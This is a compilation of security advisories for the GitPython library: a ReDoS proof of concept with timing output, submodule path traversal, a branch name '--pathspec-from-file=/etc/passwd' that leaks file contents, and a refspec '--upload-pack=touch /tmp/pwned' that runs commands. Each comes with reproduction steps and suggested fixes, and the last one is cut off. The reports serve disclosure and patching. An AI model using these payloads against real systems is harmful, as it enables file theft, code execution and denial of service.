import sys, time, git

def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
        sys.exit(1)

    repo   = git.Repo(sys.argv[1])
    commit = repo.commit(sys.argv[2])

    print("Accessing commit.author — triggers Actor._from_string()...")
    t0     = time.time()
    author = commit.author          # ← this single line causes the hang
    elapsed = time.time() - t0

    print(f"Author name length : {len(author.name)} chars")
    print(f"Elapsed            : {elapsed:.3f} seconds")
    print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if __name__ == "__main__":
    main()

Execution and observed output:

$ python3 craft_malicious_repo.py /tmp/victim-repo 200000
Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de
Payload size : 200000 bytes
git cat-file -t confirms: commit

$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de
Accessing commit.author — triggers Actor._from_string()...
Author name length : 200014 chars
Elapsed : 150.488 seconds
RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

##### Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython

python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000

##### note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own
fuzzing/local-dev-helpers/Dockerfile.


Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not
fully control. High-risk deployments include:

  • CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.)
    that clone and inspect third-party pull requests — one malicious commit in a PR
    can stall every worker that processes it.
  • Code-hosting or code-review web services that render commit author information
    — a single crafted push blocks every page render or API response that touches that
    commit's metadata.
  • Security or compliance scanners that walk repository history across many
    repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author
access. When iter_commits() or blame are used, every commit in a history
traversal can be independently crafted, multiplying the total hang time by the
number of commits processed. There is no confidentiality or integrity impact —
this is a pure availability / resource-exhaustion vulnerability.


Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically.
The minimal, behavior-preserving fix is to exclude < and > from the name
group, removing the ambiguity that forces O(n²) backtracking:


##### git/util.py, line 863
##### Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")

##### After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")

Because the name group can no longer itself contain a < character, the engine
has exactly one candidate position to try when a closing > is absent — and fails
in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never
contain < or > in either field, so this change produces identical results for
all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number
of characters GitPython will attempt to parse in an author/committer line (e.g.
rejecting strings longer than 4096 bytes before passing them to any regex) would
further limit the blast radius of any future ReDoS class in this parser.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-87817 / GHSA-239g-whfq-7xj9 / PYSEC-2026-3982

More information

Details

GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-87819 / GHSA-g5vv-9gxw-82hx / PYSEC-2026-3984

More information

Details

GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython submodule update path traversal can write outside the repository

CVE-2026-100689 / GHSA-59cr-6r3x-644w

More information

Details

Affected: GitPython 3.1.61 (latest release) and main — git/objects/submodule/base.py. git diff 3.1.61 origin/main -- git/objects/submodule/ is empty, so both are identical here.


The gap

The fix for GHSA-hmq2-w58f-27jc added Submodule._validated_name() and wired it into update() and five siblings, closing the .gitmodules name → .git/modules/<name> traversal. The other attacker-controlled .gitmodules field, path, is read raw:


##### git/objects/submodule/base.py:172-177
def _set_cache_(self, attr):
    if attr in ("path", "_url", "_branch_path"):
        reader = self.config_reader()
        self.path = reader.get("path")          # raw .gitmodules value

and GitPython's own containment guard is applied in only two of the places that consume it:

400: def _to_relative_path(cls, parent_repo, path)      # the guard (abspath + commonpath containment)
542:     path = cls._to_relative_path(repo, path)        # add()   — guarded
1041:    module_checkout_path = self._to_relative_path(self.repo, module_path)   # move() — guarded

update() validates only the name and then uses the path-derived absolute location directly:

788:  self._validated_name(self.name)                    # NAME only
801:  checkout_module_abspath = self.abspath             # derived from self.path — unguarded
821:  os.makedirs(checkout_module_abspath, exist_ok=True)

So path = ../../../tmp/escaped in an attacker-authored .gitmodules selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what force_remove hands to shutil.rmtree.

The asymmetry is the argument: this is not a missing concept — the project wrote _to_relative_path() precisely for this, and add()/move() use it. update() does not.

Honest limits (please read before rating)
  • The most common flow is not affected. Repo.clone_from(...) → repo.submodules → sm.update(init=True) re-derives path from a canonical tree lookup, and real git refuses to check out a tree containing a .. component, so an evil .gitmodules never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a non-HEAD commit (a historical-commit API such as submodule_update(previous_commit=...)).
  • The researcher did not build that end-to-end trigger. The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in update(), and the unguarded abspath → os.makedirs() flow at 3.1.61 == main.
Suggested fix

Apply the guard the project already has, wherever the path is consumed:


##### in update(), before deriving abspath (and in any other consumer of self.path):
checkout_rel = self._to_relative_path(self.repo, self.path)   # raises if it escapes the working tree

Better still, validate at the boundary: reject a .gitmodules entry whose path is absolute or contains a .. component when the section is first read in _set_cache_()/iter_items(), so no consumer can be added later without the check. A regression test with path = ../escaped alongside the existing name test would pin both fields.

Prior art checked

GHSA-hmq2-w58f-27jc (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the path field or _to_relative_path. Searched issues and PRs for _to_relative_path, gitmodules path and submodule traversal: no report of this.

Credit

kta1kri.


Appendix — EVIDENCE_gitpython_path_unguarded_20260901.txt (inlined; advisories accept no attachments)
=== EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded ===
Mon Aug 31 18:45:22 UTC 2026

--- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty ---

--- the containment guard GitPython owns, and its only two call sites ---
33:    _to_relative_path,
400:    def _to_relative_path(cls, parent_repo: "Repo", path: PathLike) -> PathLike:
407:            path = _to_relative_path(parent_repo.working_tree_dir, path)
542:        path = cls._to_relative_path(repo, path)
1041:        module_checkout_path = self._to_relative_path(self.repo, module_path)

--- the parent fix (_validated_name) call sites: it validates the NAME ---
309:    def _validated_name(cls, name: str) -> str:
321:        name = cls._validated_name(name)
541:        cls._validated_name(name)
788:            self._validated_name(self.name)
1040:        self._validated_name(self.name)
1181:        self._validated_name(self.name)
1439:        self._validated_name(self.name)
1440:        self._validated_name(new_name)
1489:        self._validated_name(self.name)

--- update(): name validated, path not; abspath -> os.makedirs ---

        try:
            self._validated_name(self.name)

            # ENSURE REPO IS PRESENT AND UP-TO-DATE
                # END early abort if init is not allowed

                checkout_module_abspath = self.abspath
                module_abspath = self._module_abspath(self.repo, self.path, self.name)

                # ``git submodule deinit`` leaves the repository in
                # ``.git/modules`` and empties the checkout. Reconnect that retained
                # repository instead of trying to clone over it.
                if not dry_run and osp.isdir(module_abspath):
                    try:
                        git.Repo(module_abspath)
                    except InvalidGitRepositoryError:
                        pass
                    else:
                        if osp.lexists(checkout_module_abspath) and (
                            osp.islink(checkout_module_abspath)
                            or not osp.isdir(checkout_module_abspath)
                            or os.listdir(checkout_module_abspath)
                        ):
                            raise OSError(
                                "Module directory at %r does already exist and is non-empty" % checkout_module_abspath
                            )
                        os.makedirs(checkout_module_abspath, exist_ok=True)
                        self._write_git_file_and_module_config(checkout_module_abspath, module_abspath)
                        mrepo = git.Repo(checkout_module_abspath)

--- where self.path comes from (raw .gitmodules value) ---
    def _set_cache_(self, attr: str) -> None:
        if attr in ("path", "_url", "_branch_path"):
            reader: SectionConstraint = self.config_reader()
            # Default submodule values.
            try:
                self.path = reader.get("path")
            except cp.NoSectionError as e:

Severity

  • CVSS Score: 6.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: arbitrary file read via attacker-controlled branch name in Head.checkout() (incomplete fix of CVE-2026-78679)

CVE-2026-110859 / GHSA-23mf-xhv8-69c2

More information

Details

A note on the referenced files. This report was submitted through GitHub's private
vulnerability reporting API, which carries no attachments. Every transcript this report leans
on is reproduced inline above, verbatim. The file names it mentions (poc.sh, poc.log,
per-case transcripts, evidence.md, negative-controls.md, blob-sweep tables) are the local
evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy
to send the bundle by any channel you prefer, or to open a private fork — just say which. The
PoC scripts are self-contained and reproduce the result from a clean environment.


Affected: <= 3.1.62 — all published releases; also main @​ 4905b4af
Verified at runtime: GitPython 3.1.62 with git 2.55.0
Date: 2026-09-10
Reporter: MAXI8594


Threat model
Attacker anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application.
Pre-need a repository they host, with HEAD pointing at a branch whose name is the payload. A git push to a plain git server is enough — no filesystem access to a server is required (raw/06).
Gets the contents of any file the application's process can read, returned in band through the exception. /etc/passwd recovered 34 of 34 lines.
Real-world likelihood High. The vulnerable consumer is six lines of ordinary code with no unusual configuration: Repo.clone_from(user_url) then repo.active_branch.checkout(). allow_unsafe_options=False is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots.

On severity relative to the sibling advisories. GitHub, as CNA, scored the three prior
advisories in this class at 6.5 / PR:L (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This
report asks for 7.5 / PR:N, and the difference is one measured fact: in those three, the
application had to pass an attacker-influenced value into the API. Here it passes nothing — the
clone materialises the hostile branch on its own and repo.active_branch returns it
(raw/02). If that reading is not accepted, the PR:L path via Repo.create_head() is also real
and lands at 6.5, matching the siblings.

Summary

Head.checkout() guards its **kwargs against unsafe Git options but never inspects its own
positional argument — the branch name — which reaches the git checkout argv with no --
separator. A repository whose default branch is named --pathspec-from-file=/etc/passwd makes a
consumer that merely clones it and checks out the default branch return the entire contents of that
file to the caller.

This is the exact combination of two advisories the project already fixed:

  • CVE-2026-76217 (GHSA-hh9p-6wh2-4mfc) — "Arbitrary file read via --pathspec-from-file in
    IndexFile.remove() and Head.checkout()"
    . Fixed in 3.1.58 by commit f2550b65, which added
    the guard to this exact method — but only for **kwargs.
  • CVE-2026-78679 (GHSA-3wxw-xv34-2frg) — "TagReference.create positional reference
    bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)"
    . Fixed in 3.1.59 by commit 1b0d2d9b, which applied the
    positional check to git/refs/tag.py, git/diff.py, git/index/base.py and git/repo/base.py —
    but not to git/refs/head.py:286.

f2550b65 states in its own commit message that the audit found the positional variant and applied
it to HEAD.reset — 185 lines above Head.checkout, in the same file, in the same commit:

"The audit also found that reset's positional commit could carry the option before its argument
separator
. […] Check reset's positional commit as well as keyword options"

HEAD.reset got the fix. Head.checkout did not, and 1b0d2d9b did not come back for it.

Affected Asset
Package GitPython (PyPI)
Affected versions <= 3.1.62 — all published releases
Latest release tested 3.1.62
Also present on main @​ 4905b4af
Vulnerable file git/refs/head.py
Guard line 286 — Git._option_candidates([], kwargs)
Sink line 293 — self.repo.git.checkout(self, **kwargs)
CWE CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information)
CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N → 7.5 High

The version range was established by blob hash against every tag, not by dates: the sink line
self.repo.git.checkout(self, **kwargs) — with no -- separator — is present in git/refs/head.py
in every tag from 0.3.1-beta2 through 3.1.62. The 3.1.62 blob is byte-identical to main:
7f563374ef9e018b3d5f95054498e8591e112ce2. Full sweep in raw/07-blob-version-sweep.txt.

The kwargs-only guard first appears in 3.1.58, so 3.1.58–3.1.62 is where "incomplete fix"
applies; earlier releases have the same sink with no guard at all.

Vulnerability Details
Root cause

git/cmd.py:1045 — _option_candidates() only inspects the positionals it is handed:

@classmethod
def _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:
    """Collect possible option spellings before command-line transformation."""
    options = [
        option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-")
    ]

So _option_candidates([], kwargs) means: check the keyword arguments, never check the positional
arguments this method puts on the command line.
That is fine when the method has no
attacker-influenced positional, or when it separates them with --.

git/refs/head.py:283-293 — Head.checkout() has neither:

        if not allow_unsafe_options:
            Git.check_unsafe_options(
                options=Git._option_candidates([], kwargs),
                unsafe_options=Git.unsafe_git_pathspec_from_file_options,
            )
        kwargs["f"] = force
        if kwargs["f"] is False:
            kwargs.pop("f")

        self.repo.git.checkout(self, **kwargs)

self is the only positional. It serialises to the branch name, lands in the git checkout argv,
and is not in the list the guard inspects. _call_process builds args_list = opt_args + ext_args,
so keyword-derived options precede positionals — which is why the rest of the library puts "--"
first (Remote.fetch/pull/push, Repo._clone, Repo.archive, IndexFile.remove, Commit.count
all do). Head.checkout does not.

Why the branch name is attacker-controlled

Git accepts a refname whose branch component begins with - and contains /
(raw/02-refname-accepted-and-cloned.txt):

>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'
    exit=0  stderr=''
    => un refname que empieza con '-' y lleva '/' es VALIDO para git

>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099
    exit=0  stderr=''
>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'
    exit=0
    HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd
    ref en disco como arbol jerarquico: True

>>> Repo.clone_from('file://<bare>', <victim>)   # la app solo clona
    ramas LOCALES creadas por el clone, sin que nadie las pida:
      refs/heads/--pathspec-from-file=/etc/passwd
    repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
    coincide con el nombre hostil: True

The transcript above also shows the second half: git clone materialises that branch locally on
its own
when the remote HEAD points at it — the consuming application never asks for it.

A plain git server accepts the refname over receive-pack, with no --force and no special config
(raw/06-push-accepts-refname.txt), so the attacker does not need filesystem access to a server —
a git push is enough. That measurement, and the clone in raw/02, both use the file://
transport, which exercises the same git wire protocol as https://; I did not test against a
hosted forge, since that would mean writing to a third party.

Why the leak reaches the caller

The file contents are in CommandError.__str__, not only in the .stderr attribute
(git/exc.py):

        self.stderr = stderr_decode and "\n  stderr: '%s'" % stderr_decode or ""

    def __str__(self) -> str:
        return (self._msg + "\n  cmdline: %s%s%s") % (
            self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,
        )

So logging.exception(...), print(e), or simply not catching the exception all disclose the
file. The developer does not have to know .stderr exists.

Full chain
Repo.clone_from(<attacker URL>)
  ↓  remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd
  ↓  git clone creates that LOCAL branch unasked
repo.active_branch                → Head with name = "--pathspec-from-file=/etc/passwd"
  ↓
Head.checkout()                   git/refs/head.py:286 — guard inspects kwargs only
  ↓  self.repo.git.checkout(self, **kwargs)   git/refs/head.py:293 — no "--"
git checkout --pathspec-from-file=/etc/passwd
  ↓  git emits one `error:` per unmatched pathspec — one per line of the file
GitCommandError → CommandError.__str__ → the consumer
Steps to Reproduce

Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local —
temporary repositories and the file:// transport. No remote hosts, no third-party repositories.

The bundled poc.sh runs all seven scenarios as a single unit and writes poc.log plus one file per
scenario under raw/. Minimal manual reproduction:

python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62

W=$(mktemp -d)
git init -q -b main "$W/a"; echo x > "$W/a/f.txt"
git -C "$W/a" add f.txt
git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c
git clone -q --bare "$W/a" "$W/a.git"
SHA=$(git -C "$W/a.git" rev-parse HEAD)

##### the attacker names their default branch after the file they want
git -C "$W/a.git" update-ref   'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA"
git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'

cat > "$W/consumer.py" <<'PYEOF'
import logging, sys, git
logging.basicConfig(level=logging.INFO, format="%(message)s")
try:
    repo = git.Repo.clone_from(sys.argv[1], sys.argv[2])   # user-supplied URL
    repo.active_branch.checkout()                          # ensure a clean working tree
except git.exc.GitCommandError:
    logging.exception("clone failed")
PYEOF

/tmp/gp/bin/python "$W/consumer.py" "file://$W/a.git" "$W/victim"
Raw Request

The real git checkout argv, captured by instrumenting Git.execute (raw/01-real-argv.txt).
This is the command GitPython actually built — the branch name became an option:

  argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']
Raw Response

Observed output (raw/05-six-line-consumer.txt, tail) — git emits one error: line per unmatched
pathspec, which is one per line of the target file:

error: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git
error: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git
error: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git
error: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git
error: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'

raw/03-full-file-disclosure.txt counts the recovery against the real file:

Archivo objetivo: /etc/passwd  (34 lineas no vacias)
[CASO] repo.active_branch.checkout()  — nadie paso un nombre de rama
  repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
  -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34
Impact

An attacker who can get an application to clone a repository they control reads any file the
application's process can read, with the contents returned in band. /etc/passwd was recovered in
full (34 of 34 lines) in the run recorded in poc.log.

The attacker needs no account and no privilege in the consuming application, and no
configuration change anywhere: allow_unsafe_options=False is the default, and the vulnerable
consumer is six lines of ordinary code. This is the central use case of the library — CI systems,
repository importers, scanners and bots that clone user-supplied URLs.

Impact precondition

Holds if: the consuming application clones a repository whose default branch name the attacker
chose, and then calls Head.checkout() on it — most commonly as repo.active_branch.checkout(),
which needs no branch-name input from the application at all.

Source writer: the attacker, via the remote repository's HEAD and refs. Verified two ways —
git update-ref + symbolic-ref on a bare repository, and git push to a plain git server, which
receive-pack accepts without --force or special configuration
(raw/02-refname-accepted-and-cloned.txt, raw/06-push-accepts-refname.txt). The application never
writes the branch name; git clone materialises it.

Observed in: validation/gitpython/head-checkout-positional-pathspec/ — GitPython 3.1.62
(latest release) with git 2.55.0, in the single run recorded in poc.log
(2026-09-10T02:10:23-03:00). File read: /etc/passwd, 34 of 34 lines recovered by the caller.

Limits, stated plainly
  • Only the full long spelling works, because a refname cannot contain a space and is therefore a
    single argv token; git rejects the abbreviated forms. This was established while developing the
    payload and is not part of the attached run — the run exercises the working spelling only.
  • The attacker must know an absolute path to the target file.
  • Lines are disclosed only when they do not match a path in the repository. With a one-file hostile
    repository none of them do, so the attacker controls this condition too.
  • The full-file result was measured on git 2.55.0, where git checkout emits one error: per
    unmatched pathspec. GHSA-hh9p-6wh2-4mfc notes that --pathspec-from-file alone quotes only the
    first line — that holds for git rm, which aborts with fatal: on the first. It does not hold for
    git checkout on 2.55.0.
Negative control

Full statement of what each control isolates and what would invalidate it: negative-controls.md.
Every batch opens and closes with a positive control; if the closing one does not fire, the batch
is discarded.

Positive control (opening and closing, 4 batches). Head.checkout(pathspec_from_file="/etc/passwd")
— the same payload via kwargs. Fires in every batch:
UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it.
This proves the guard exists, is active under the default, and recognises the option — so a null
result elsewhere cannot be the instrument failing to reach the code.

Negative control. The identical call on a branch named benigna. One variable changes: the
leading -. Result: ['git', 'checkout', 'benigna'], no exception, 0 lines disclosed.

Precision control — the asymmetry inside one file (raw/04-precision-control-reset-vs-checkout.txt).
The same payload against the two methods in git/refs/head.py that received the guard in the same
commit, 185 lines apart:

[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos
  HEAD.reset(commit=PAYLOAD)  guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas  [OK]
  Head.checkout()      guard NO mira el posicional     GitCommandError                                fuga=34 lineas  [OK]

HEAD.reset (head.py:101, _option_candidates([commit], kwargs)) blocks what Head.checkout
(head.py:286, _option_candidates([], kwargs)) lets through. This rules out the alternative
explanation that any string containing --pathspec-from-file reaching git would disclose the file.

Remediation

One line, consistent with what f2550b65 already did for HEAD.reset in this same file:

                options=Git._option_candidates([self], kwargs),

The other candidate was evaluated and rejected. Writing
self.repo.git.checkout("--", self, **kwargs) would match the -- pattern used elsewhere in the
library and would also cover future git checkout options — but it changes the semantics and
breaks the method
: in git checkout -- <arg>, everything after -- is a pathspec, not a branch.
The command would stop switching branches and start restoring files. The -- pattern works for
fetch/pull/push/clone/archive/rm because their positionals genuinely are non-branch
operands; it does not transfer here.

For defence in depth, Repo.create_head() could reject branch names beginning with -, which would
also close the weaker PR:L path. That is a separate, optional change.

Prior art and de-duplication

All GitPython advisories in the GitHub database were reviewed —
gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate returns 47
(the same command without per_page returns only the first page of 30). Head.checkout appears in
two rows, one of which (GHSA-w672-…) is a withdrawn duplicate, leaving one substantive advisory:

  • GHSA-hh9p-6wh2-4mfc / CVE-2026-76217 — same method, but the kwargs path
    (pathspec_from_file=…, pathspec_file_nul=True), fixed in 3.1.58. That path is closed today; it is
    the positive control in every batch of this report. The positional path is not covered by it.

Neighbours, none overlapping:

  • GHSA-3wxw-xv34-2frg / CVE-2026-78679 — the same class (positional bypasses a kwargs-only
    guard) in a different method, TagReference.create, fixed in 3.1.59 by 1b0d2d9b. That is the
    patch that did not come back to head.py:286.
  • GHSA-956x-8gvw-wg5v / CVE-2026-67323 — precedent for "a value placed before the -- with no
    leading-dash check", in Repo.iter_commits / Repo.blame. Those sites now pass their positional
    to the guard; this one does not.
  • GHSA-7545-fcxq-7j24 / CVE-2026-44243 — path traversal via ref names in the reference APIs.
    Different sink (filesystem path construction) and different impact (write and delete), but it
    establishes that attacker-influenced ref names is a premise this project has already accepted.
No open fix proposal

Searched across three surfaces, because gh search issues excludes pull requests: gh search prs,
gh search issues and the raw search/issues API. No open or closed issue or pull request
proposes passing the positional to the guard in Head.checkout.
The three PRs that touch this
guard (#​2204, #​2180, #​2163) are all merged and none of them does it — #​2204 is the PR that
introduced both call sites in this file, one checking its positional and one not. Full matrix in
dup-check.md.

The project's own tests carry the same asymmetry

test/test_refs.py exercises the guard for both methods, and covers exactly the difference this
report is about:

  • HEAD.reset — the positional is tested (lines 304-308).
  • Head.checkout — only the kwargs path is tested (lines 282-291).

So the positional variant is a case the suite already knows how to write; it just was not written
for checkout. The docstring added by #​2204 to Head.checkout states that --pathspec-from-file
requires opt-in via allow_unsafe_options — which is precisely the guarantee the positional path
does not deliver. Nothing in the project declares the positional acceptable here.

Why the one-line fix works, which is not obvious

Reference.__str__ returns self.name, not self.path. Reference.name strips the first two
path components (reference.py:122-132), so a Head constructed on
refs/heads/--pathspec-from-file=/etc/passwd passes check_path — the path does begin with
refs/heads/ — while str() yields the bare option. Passing [self] to _option_candidates makes
the guard see that same serialised string, which is why the one-line change closes it.

Evidence
File What it establishes
poc.sh driver — runs all seven scenarios as one unit
poc.log full transcript of the single reference run
raw/00-versions-and-source.txt version under test is the published one; guard and sink present; def checkout( appears once, so the sink line is unambiguous
raw/01-real-argv.txt real git checkout argv, captured by instrumenting Git.execute
raw/02-refname-accepted-and-cloned.txt git accepts the refname; Repo.clone_from materialises it unasked
raw/03-full-file-disclosure.txt 34 of 34 lines of /etc/passwd recovered
raw/04-precision-control-reset-vs-checkout.txt HEAD.reset blocks what Head.checkout allows
raw/05-six-line-consumer.txt six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught
raw/06-push-accepts-refname.txt a plain git server accepts the refname over push
raw/07-blob-version-sweep.txt affected range by blob hash, tag by tag
negative-controls.md what each control isolates and what would invalidate it
evidence.sha256 integrity of every raw file and script
Disclosure

Reported privately through GitHub private vulnerability reporting. No third-party systems were
touched: every repository in this report is a temporary local one, and all transport is file://.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution

CVE-2026-110858 / GHSA-f9j4-qggq-h239

More information

Details

Summary

Remote.pull() in GitPython forwards its positional refspec argument directly to the git pull child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the refspec (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as --upload-pack=<command>. The value bypasses the unsafe_git_pull_options check, is placed after the -- separator on the git pull command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (allow_unsafe_options=False).

Root Cause

Remote.pull() is documented to reject dangerous options unless allow_unsafe_options=True, and --upload-pack is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional refspec. The check builds its candidate list with Git._option_candidates([], kwargs), passing an empty list in place of the positionals, so the refspec value is never compared against unsafe_git_pull_options = ["--upload-pack"]. The normalized refspec is then forwarded verbatim to the git pull invocation. The leading -- separator that neutralizes an option-shaped refspec for git fetch and git push does not protect git pull, because git pull re-forwards its trailing positionals to an internal git fetch without re-inserting a -- separator, so the positional becomes an option to that internal fetch.

Affected function: git.remote.Remote.pull
Source: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull("--", self, refspec, ...) invocation)
Impact

An attacker who controls the refspec value passed to Remote.pull() achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the --upload-pack value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.

Proof of Concept
Environment: GitPython from the affected source tree; system git 2.43.0.
The pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38).

Reproduction steps:

  1. Create an origin repository reachable over a local-path transport.
  2. In a consumer repository, register that origin and call Remote.pull() with an attacker-controlled refspec.
  3. Observe that the injected command executes.
import git
repo = git.Repo("consumer")                 # has an origin using a local-path or ssh transport
origin = repo.remote("origin")

##### Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):
origin.pull(refspec="--upload-pack=touch /tmp/pwned; git-upload-pack")
cmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack
[attack]  marker created (RCE)      : True
[isolate] upload_pack passed as KWARG blocked : True   (only the positional refspec escapes)
[sibling] same value via git fetch  : safe            (pull-specific behavior)
[control] benign refspec            : safe
Attack Chain
  1. Exposure: An application calls Remote.pull(refspec=<value>) on the default path, where <value> is derived from attacker-influenced input such as a branch or refspec request parameter.
  2. Control: The attacker supplies the string --upload-pack=<command>; git-upload-pack. The value passes through Git._unpack_args, which only flattens and stringifies it, preserving the option shape.
  3. Path: The protocol loop calls Git.check_unsafe_protocols on the value, which only matches remote-helper transport URLs (a <transport>:: form) and does not flag an --upload-pack= token.
  4. Guard: The unsafe-option guard calls check_unsafe_options(options=Git._option_candidates([], kwargs), ...). Because positionals are passed as an empty list, the positional refspec is never inspected against unsafe_git_pull_options.
  5. Primitive: The value is forwarded to git pull -v -- <remote> --upload-pack=<command>; git-upload-pack; git pull re-forwards the positional to an internal git fetch without a -- separator, so it is honored as the upload-pack program.
  6. Result: For a local-path or SSH transport, git executes <command> as the upload-pack program, giving arbitrary command execution as the calling process user.
Bypass Evidence

